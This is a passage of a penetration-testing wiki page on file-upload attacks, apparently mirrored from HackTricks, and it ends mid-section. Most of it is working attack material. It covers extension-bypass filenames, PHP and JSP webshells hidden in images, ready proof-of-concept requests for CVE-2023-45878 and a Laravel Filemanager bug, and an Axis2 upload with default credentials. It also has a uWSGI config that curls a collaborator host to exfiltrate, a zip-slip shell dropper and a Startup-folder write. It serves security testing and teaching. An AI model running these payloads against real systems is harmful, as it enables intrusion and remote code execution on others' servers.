overview.md (47729B)
1 --- 2 title: "File Upload" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/file-upload/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-upload/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # File Upload 14 15 ## File Upload General Methodology 16 17 Other useful extensions: 18 19 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ 20 - **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ 21 - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ 22 - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ 23 - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ 24 - **Flash**: _.swf_ 25 - **Perl**: _.pl, .cgi_ 26 - **Erlang Yaws Web Server**: _.yaws_ 27 28 ### Bypass file extensions checks 29 30 1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._ 31 2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_ 32 - _file.png.php_ 33 - _file.png.Php5_ 34 3. Try adding **special characters at the end.** You can use Burp to **brute-force** ASCII and Unicode characters. (_You can also combine this with the previously mentioned extensions._) 35 - _file.php%20_ 36 - _file.php%0a_ 37 - _file.php%00_ 38 - _file.php%0d%0a_ 39 - _file.php/_ 40 - _file.php.\\_ 41 - _file._ 42 - _file.php...._ 43 - _file.pHp5...._ 44 4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._ 45 - _file.png.php_ 46 - _file.png.pHp5_ 47 - _file.php#.png_ 48 - _file.php%00.png_ 49 - _file.php\x00.png_ 50 - _file.php%0a.png_ 51 - _file.php%0d%0a.png_ 52 - _file.phpJunk123png_ 53 5. Add **another layer of extensions** to the previous check: 54 - _file.png.jpg.php_ 55 - _file.php%00.png%00.jpg_ 56 6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code): 57 - _ex: file.php.png_ 58 7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character ":” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. "file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The "**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.”) 59 8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php 60 61 ``` 62 # Linux maximum 255 bytes 63 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 64 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png 65 # Upload the file and use the response to determine how many characters it allows; assume 236 66 python -c 'print "A" * 232' 67 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 68 # Make the payload 69 AAA<--SNIP 232 A-->AAA.php.png 70 ``` 71 72 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 73 74 Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:<sup>[[14]](#references)</sup><sup>[[15]](#references)</sup><sup>[[16]](#references)</sup> 75 76 - Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`). 77 - Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`. 78 - The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`). 79 80 Minimal PoC (Burp Repeater): 81 82 ```http 83 POST /profile/avatar HTTP/1.1 84 Host: target 85 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 86 87 ------WebKitFormBoundary 88 Content-Disposition: form-data; name="upload"; filename="0xdf.php." 89 Content-Type: image/png 90 91 \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?> 92 ------WebKitFormBoundary-- 93 ``` 94 95 Then hit the saved path (typical in Laravel + LFM): 96 97 ```text 98 GET /storage/files/0xdf.php?cmd=id 99 ``` 100 101 ### Bypass Content-Type, Magic Number, Compression & Resizing 102 103 - Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_ 104 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 105 - Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\ 106 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ 107 `\` or you could also **introduce the payload directly** in an image:\ 108 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` 109 - If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.<sup>[[26]](#references)</sup> 110 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) 111 - The application may also **resize the image** with PHP-GD functions such as `imagecopyresized` or `imagecopyresampled`. The **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) can insert text that **survives resizing**.<sup>[[26]](#references)</sup> 112 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) 113 - Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.<sup>[[26]](#references)</sup> 114 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) 115 116 ### Other Tricks to check 117 118 - Find a vulnerability to **rename** the file already uploaded (to change the extension). 119 - Find a **Local File Inclusion** vulnerability to execute the backdoor. 120 - **Possible Information disclosure**: 121 1. Upload **several times** (and at the **same time**) the **same file** with the **same name** 122 2. Upload a file with the **name** of a **file** or **folder** that **already exists** 123 3. Uploading a file with **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called 124 uploads” in the "/www/" directory. 125 4. Upload a file that may not be deleted easily such as **"…:.jpg"** in **NTFS**. (Windows) 126 5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows) 127 6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. 128 - Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim. 129 130 ### Special extension tricks 131 132 If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ 133 If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](/hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services#execute-config-files). 134 135 The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...) 136 137 The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**. 138 139 ## **Jetty RCE** 140 141 If you can upload an XML file into a Jetty server, you may obtain [RCE because **new `*.xml` and `*.war` files are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). As shown below, place the XML file in `$JETTY_BASE/webapps/` and trigger its processing. 142 143  144 145 ## **uWSGI RCE** 146 147 For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).<sup>[[6]](#references)</sup> 148 149 Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. 150 151 Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: 152 153 ```ini 154 [uwsgi] 155 ; read from a symbol 156 foo = @(sym://uwsgi_funny_function) 157 ; read from binary appended data 158 bar = @(data://[REDACTED]) 159 ; read from http 160 test = @(http://[REDACTED]) 161 ; read from a file descriptor 162 content = @(fd://[REDACTED]) 163 ; read from a process stdout 164 body = @(exec://whoami) 165 ; curl to exfil via collaborator 166 extra = @(exec://curl http://collaborator-unique-host.oastify.com) 167 ; call a function returning a char * 168 characters = @(call://uwsgi_func) 169 ``` 170 171 The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. 172 173 It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation. 174 175 ### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878) 176 177 Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.<sup>[[12]](#references)</sup> 178 179 - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php` 180 - Method: POST 181 - Required params: 182 - `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail) 183 - `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`) 184 - `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`) 185 186 Minimal PoC to write and read back a file: 187 188 ```bash 189 # Prepare test payload 190 printf '0xdf was here!' | base64 191 # => MHhkZiB3YXMgaGVyZSEK 192 193 # Write poc.php via unauth POST 194 curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ 195 -d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001' 196 197 # Verify write 198 curl http://target/Gibbon-LMS/poc.php 199 ``` 200 201 Drop a minimal webshell and execute commands: 202 203 ```bash 204 # '<?php system($_GET["cmd"]); ?>' base64 205 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg== 206 207 curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ 208 -d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001' 209 210 curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami' 211 ``` 212 213 Notes: 214 - The handler performs `base64_decode($_POST["img"])` after splitting by `;` and `,`, then writes bytes to `$absolutePath . '/' . $_POST['path']` without validating extension/type. 215 - Resulting code runs as the web service user (e.g., XAMPP Apache on Windows). 216 217 References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.<sup>[[10]](#references)</sup><sup>[[11]](#references)</sup> 218 219 ## **wget File Upload/SSRF Trick** 220 221 Sometimes a server uses **`wget`** to **download a user-supplied URL** while checking the apparent filename extension against an allow-list. This check may be bypassed.\ 222 Linux filenames are generally limited to **255 bytes**, while affected `wget` behavior truncates the local filename to **236 characters**. A remote name such as `"A"*232+".php"+".gif"` passes an allow-list that accepts `.gif`, but truncation can leave the local name ending in `.php`. 223 224 ```bash 225 #Create file and HTTP server 226 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') 227 python3 -m http.server 9080 228 ``` 229 230 ```bash 231 #Download the file 232 wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")') 233 The name is too long, 240 chars total. 234 Trying to shorten... 235 New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php. 236 --2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif 237 Connecting to 127.0.0.1:9080... connected. 238 HTTP request sent, awaiting response... 200 OK 239 Length: 10 [image/gif] 240 Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ 241 242 AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s 243 244 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] 245 ``` 246 247 Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. 248 249 ### Escaping upload directory via NTFS junctions (Windows) 250 251 (For this attack you will need local access to the Windows machine) When uploads are stored under per-user subfolders on Windows (e.g., C:\Windows\Tasks\Uploads\<id>\) and you control creation/deletion of that subfolder, you can replace it with a directory junction pointing to a sensitive location (e.g., the webroot). Subsequent uploads will be written into the target path, enabling code execution if the target interprets server‑side code.<sup>[[17]](#references)</sup> 252 253 Example flow to redirect uploads into XAMPP webroot: 254 255 ```batch 256 :: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields) 257 :: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 258 259 :: 2) Remove the created folder and create a junction to webroot 260 rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 261 cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs 262 263 :: 3) Re-upload your payload; it lands under C:\xampp\htdocs 264 :: Minimal PHP webshell for testing 265 :: <?php echo shell_exec($_REQUEST['cmd']); ?> 266 267 :: 4) Trigger 268 curl "http://TARGET/shell.php?cmd=whoami" 269 ``` 270 271 Notes 272 - mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.<sup>[[18]](#references)</sup> 273 - This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE. 274 - Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs. 275 276 ### GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat) 277 278 Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).<sup>[[2]](#references)</sup> 279 280 Generic exploitation flow: 281 - Prepare your server-side payload (e.g., minimal JSP webshell) and gzip-compress the bytes. 282 - Send a POST where a path parameter (e.g., token) contains traversal escaping the intended folder, and file indicates the filename to persist. Set Content-Type: application/octet-stream and Content-Encoding: gzip; the body is the compressed payload. 283 - Browse to the written file to trigger execution. 284 285 Illustrative request: 286 287 ```http 288 POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1 289 Host: target 290 Content-Type: application/octet-stream 291 Content-Encoding: gzip 292 Content-Length: <len> 293 294 <gzip-compressed-bytes-of-your-jsp> 295 ``` 296 297 Then trigger: 298 299 ```http 300 GET /jsp/shell.jsp?cmd=id HTTP/1.1 301 Host: target 302 ``` 303 304 Notes 305 - Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work. 306 - Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload. 307 - This is a pure pre-auth arbitrary file write → RCE pattern; it does not rely on multipart parsing. 308 309 Mitigations 310 - Derive upload destinations server-side; never trust path fragments from clients. 311 - Canonicalize and enforce that the resolved path stays within an allow-listed base directory. 312 - Store uploads on a non-executable volume and deny script execution from writable paths. 313 314 ### Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop) 315 316 Axis2-based upload services sometimes expose an `uploadFile` SOAP action that takes three attacker-controlled fields: `jobDirectory` (destination directory), `archiveName` (filename), and `dataHandler` (base64 file content). If `jobDirectory` is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.<sup>[[20]](#references)</sup> 317 318 Minimal request outline (default creds often work: `admin` / `trubiquity`): 319 320 ```http 321 POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1 322 Host: 127.0.0.1 323 Content-Type: text/xml 324 325 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com"> 326 <soapenv:Body> 327 <updw:uploadFile> 328 <updw:login>admin</updw:login> 329 <updw:password>trubiquity</updw:password> 330 <updw:archiveName>shell.jsp</updw:archiveName> 331 <updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory> 332 <updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler> 333 </updw:uploadFile> 334 </soapenv:Body> 335 </soapenv:Envelope> 336 ``` 337 338 - Bindings are often localhost-only; pair with a full-read SSRF (absolute-URL request line, Host header ignored) to reach `127.0.0.1` if the Axis2 port isn’t exposed. 339 - After writing, browse to `/trufusionPortal/jsp/shell.jsp?cmd=id` to execute. 340 341 342 ### Auto-handled HTML file inputs in crawlers / browser automation → local arbitrary file write 343 344 Some **browser-powered crawlers** and automation frameworks try to interact with discovered `<input type="file">` elements by **creating a local temporary file** and automatically selecting it in the browser. If the local filename is derived from **page-controlled metadata** such as `accept`, `name`, or `value`, the target website can turn ordinary crawling into a **local arbitrary file write**.<sup>[[21]](#references)</sup> 345 346 Typical vulnerable flow: 347 348 1. The crawler discovers a file input and decides to auto-populate it. 349 2. It derives a **local filename** from attacker-controlled HTML attributes. 350 3. It writes attacker-controlled bytes to that path. 351 4. It calls a browser API such as `selectFile()` on the generated path. 352 353 If the implementation accepts any `accept` token starting with `.` as a harmless extension, a payload like `./../../../../target/path/payload.bat` may bypass the check while still carrying **path traversal**. When this string is later passed to `Path.resolve()` / `Path.Combine()` without canonicalization and a **"must stay under temp dir"** check, the final write can escape the temporary directory. 354 355 Minimal malicious form: 356 357 ```html 358 <form action="/upload" method="post" enctype="multipart/form-data"> 359 <input type="file" name="upload" 360 value="calc.exe" 361 accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat"> 362 </form> 363 ``` 364 365 In that pattern: 366 367 - `value` becomes the **local file content** (`calc.exe` in the example). 368 - `accept` becomes part of the **local filename/path**. 369 - The result is an **attacker-controlled text file write** anywhere writable if the parent directory already exists. 370 371 A practical Windows chain is to target the current user's **Startup** folder so the dropped `.bat` executes on the next logon: 372 373 ```text 374 C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat 375 ``` 376 377 This is not limited to Burp. Apply the same review to **headless browsers**, **web security scanners**, **test automation**, **RPA bots**, and any tool that processes hostile pages while trying to be "helpful" with file uploads. 378 379 Quick audit checklist: 380 381 - Never reuse HTML attributes as filesystem paths. 382 - Reject `/`, `\\`, `..`, drive letters, UNC prefixes, and absolute paths. 383 - Generate the temp filename server-side/tool-side. 384 - Canonicalize the final path and verify it still starts with the intended base directory before writing. 385 - Treat any auto-filled file input as a potential **local file write sink**, not just a browser interaction. 386 387 388 ## Tools 389 390 - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. 391 - [PayloadsAllTheThings file-upload payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) provide a broad manual-testing checklist.<sup>[[3]](#references)</sup> 392 - [mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) automates upload mutation from Burp Suite.<sup>[[4]](#references)</sup> 393 - [fuxploider](https://github.com/almandin/fuxploider) scans and tests common file-upload validation weaknesses.<sup>[[5]](#references)</sup> 394 395 ### Corrupting upload indices with snprintf quirks (historical) 396 397 Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.<sup>[[13]](#references)</sup> 398 399 ### GeoNetwork formatter upload to XSLT execution 400 401 [Geonetwork](/hacktricks/network-services-pentesting/pentesting-web/geonetwork) 402 403 ## From File upload to other vulnerabilities 404 405 - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** 406 - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** 407 - Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS 408 - Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](/hacktricks/pentesting-web/command-injection)) 409 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) 410 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) 411 - [**XXE in svg upload**](/hacktricks/pentesting-web/xxe-xee-xml-external-entity#svg-file-upload) 412 - [**Open Redirect** via uploading svg file](/hacktricks/pentesting-web/open-redirect#open-redirect-uploading-svg-files) 413 - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 414 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) 415 - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. 416 - [**XXE and CORS** bypass with PDF-Adobe upload](/hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass) 417 - Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](/hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. 418 - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** 419 - Check if there is any **size limit** uploading files 420 421 Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 422 423 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 424 2. **SVG**: Stored XSS / SSRF / XXE 425 3. **GIF**: Stored XSS / SSRF 426 4. **CSV**: CSV injection 427 5. **XML**: XXE 428 6. **AVI**: LFI / SSRF 429 7. **HTML / JS** : HTML injection / XSS / Open redirect 430 8. **PNG / JPEG**: Pixel flood attack (DoS) 431 9. **ZIP**: RCE via LFI / DoS 432 10. **PDF / PPTX**: SSRF / BLIND XXE 433 434 #### Burp Extension 435 436 437 [Upload Scanner](https%3A//github.com/portswigger/upload-scanner) 438 439 ## Magic Header Bytes 440 441 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` 442 - **JPG**: `"\xff\xd8\xff"` 443 444 Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. 445 446 ## Zip/Tar File Automatically decompressed Upload 447 448 If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: 449 450 ### Symlink 451 452 Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: 453 454 ```text 455 ln -s ../../../index.php symindex.txt 456 zip --symlinks test.zip symindex.txt 457 tar -cvf test.tar symindex.txt 458 ``` 459 460 ### Decompress in different folders 461 462 The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application. 463 464 An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown: 465 466 ```python 467 # Listing available options 468 python2 evilarc.py -h 469 # Creating a malicious archive 470 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php 471 ``` 472 473 Additionally, the **symlink trick with evilarc** is an option. If the objective is to target a file like `/flag.txt`, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation. 474 475 Below is an example of Python code used to create a malicious zip file: 476 477 ```python 478 #!/usr/bin/python 479 import zipfile 480 from io import BytesIO 481 482 483 def create_zip(): 484 f = BytesIO() 485 z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) 486 z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>') 487 z.writestr('otherfile.xml', 'Content of the file') 488 z.close() 489 zip = open('poc.zip','wb') 490 zip.write(f.getvalue()) 491 zip.close() 492 493 create_zip() 494 ``` 495 496 **Abusing compression for file spraying** 497 498 For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)<sup>[[27]](#references)</sup> 499 500 1. **Creating a PHP Shell**: PHP code is written to execute commands passed through the `$_REQUEST` variable. 501 502 